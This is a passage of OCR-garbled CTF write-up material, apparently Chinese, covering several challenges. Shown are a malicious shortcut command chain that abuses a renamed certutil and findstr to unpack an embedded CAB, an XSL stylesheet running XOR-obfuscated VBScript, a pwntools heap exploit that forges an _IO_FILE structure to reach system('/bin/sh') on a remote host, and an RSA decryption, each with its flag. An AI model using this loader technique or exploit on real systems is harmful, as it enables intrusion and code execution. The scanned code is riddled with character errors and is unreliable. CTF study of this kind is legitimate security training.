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%SystemRoot%\system32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.1lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y
&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y
&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp > %tmp%\\cSilr@uywDNvDu.

£%tmp% B xR TR 2

findstr.exe "TVNDRgAAAA" g4ZokyumBB2gDn.tmp >00hululu
.\msoia.exe -decode .\@@hululu 1lhahaha
expand .\1lhahaha -F:* ./

8 332 14¢Si1rOuywDNvDu.tmp
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<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.0rg/1999/XSL/Transform” xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="VBScript">
<! [CDATA[
rBOH70LTCVxzkH = HrtvBsRh3gNUbe("676d60667a643336653265643336653265643336653265366532656433366565643336653
execute(rBOH70LTCVxzkH) :
function HrtvBsRh3gNUbe(bhhz6HalbOkrki):
for rBOH70LTCVxzkH= 1 to len(bhhz6HalbOkrki) step 2:
HrtvBsRh3gNUbe = HrtvBsRh3gNUbe & chr(asc(chr("&h" & mid(bhhz6HalbOkrki, rBOH70LTCVxzkH,2)))xor 1):
next:
end function:
11> </ms:script>
</stylesheet>

ESCACYE]

for i= 1 to to len(676d60667a64333665326564333665326564333665326536653265643336656564333665327C) step 2:
flag = flag & chr(asc(chr("&h" & mid(676d60667a64333665326564333665326564333665326536653265643336656564333

next:
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Key = @1: flag{e27d3ide27d3de27d3d7d3de27dde27d3}
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from pwn import *

# from LibcSearcher import *
context.log_level = 'debug'
debug = ©
file_name "./pwn'
libc_name = './libc-2.27.s0"'
ip = '1.13.162.249'
prot = 'l1e001'
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:

r = remote(ip, int(prot))
libc = ELF(libc_name)


http://www.suphp.cn/anquanke/12/258512.html

def debug():
gdb.attach(r)
raw_input()

def pack_file(_flags=9,
_IO0 _read_ptr=0,
_I0 _read_end=0,
_I0 _read_base=0,
_IO0 write_base=0,
_IO0 write_ptr=0,
_IO0 write_end=0,
_I0 _buf_base=0,
_I0 buf_end=0,
_I0_save_base=0,
_I0 _backup_base=0,
_I0_save_end=0,
_I0 _marker=0,
_I0 _chain=0,
_fileno=0,
_lock=0,
_wide_data=0,
_mode=0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_I0 read ptr) + \
p64(_I0_read_end) + \
p64(_I0_read_base) + \
p64(_I0 _write_base) + \
p64(_I0 write_ptr) + \
p64(_I0 write_end) + \
p64(_I0_buf_base) + \
p64(_I0_buf_end) + \
p64(_IO_save_base) + \
p64(_I0_backup_base) + \
p64(_I0_save_end) + \
p64(_I0_marker) + \
p64(_I0_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, b"\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, b"\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xcO, b'\x00"')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, b"\x00")
return file_struct

file = ELF(file_name)

sl = lambda x: r.sendline(x)

sd = lambda x: r.send(x)

sla = lambda x, y: r.sendlineafter(x, y)

rud = lambda x: r.recvuntil(x, drop=True)
ru

lambda x: r.recvuntil(x)

1i = lambda name, x: log.info(name + ':' + hex(x))
ri = lambda: r.interactive()

ru('Now vou can get a bie box. what size?")



sl(str(0x1430))
ru('Now you can get a bigger box, what size?')
sl(str(0x5000))
ru('Do you want to rename?(y/n)"')
sI('y")
ru('Now your name is:')
main_arena = u64(r.recv(6) + b'\x00\x00")
li("main_arena", main_arena)
libc_base = main_arena - 0x3ebcad
system = libc_base + libc.symbols['system']
global_max_fast = libc_base + 0x3ed940
I0_list_all = libc_base + libc.symbols[' IO _list_all']
IO _str_jumps = 0x3e8360 + libc_base
payload = p64(main_arena) + p64(global_max_fast - 0x10)
binsh = 0x00000000001b40fa + libc_base
sl(payload)
# debug()
ru("Do you want to edit big box or bigger box?(1:big/2:bigger)\n")
s1("1")
ru(':\n")
fake_file = pack_file(_IO read_base=IO_list all - ox1e,
_IO0 write_base=0,
_IO0 write_ptr=1,
_I0 buf_base=binsh,
_mode=0, )
fake_file += p64(I0_str_jumps - 8) + p64(0) + p64(system)
sl(fake_file[©0x10:])
ri()

flag{5hen_m3_5hi_kuai_le_xin9_Qiu}
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import os
from secret import FLAG,p,q,e
from Crypto.Util.number import bytes_to_long,long to_bytes

N = p*q

def encrypt(m,N,e):
return pow(m,e,N)

def decrypt(c,N,d):
return pow(c,d,N)

def padding(msg):
res = msg
if len(res) < 128:
res = res + os.urandom(128-len(res))
return res

def transfer(msg):
assert len(msg) < 128
m = padding(msg)
return bytes_to_long(m)

if _name__ == "__main__":
m = transfer(FLAG)
print(N,e)

print(encrypt(m,N,e))

#1312305893486117141671323049808145310114753878912207007996138880612669791696312341343110806996136905563074
#1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888

FHEZ, NBEEES

1312305893486117141671323049808145310114753878912207007996138880612669791696312341343110806996136905563
9819721634175756748814917758699133697690108045485440824306888548063397220038259602675630096861888314872
1336398262980159179010179083764755463399256461653632646581818382030594325364929681442310405979909199713
2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814
1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047

N ® Q9 T S
1}

import binascii
import gmpy2

phi = (p - 1) * (q - 1)

d = gmpy2.invert(e, phi)

m = pow(c, d, n)

print(binascii.unhexlify(hex(m)[2:].strip("L")))

# b'hwctf{01d_Curs3_c4Me_Again}vG\x03MC\xcd\xfd\x1d\x0b0\xcaV\x9b\x87vk\xd6\xb3\xbb\x8f\xc5\xd61\xdf7\x0f\x
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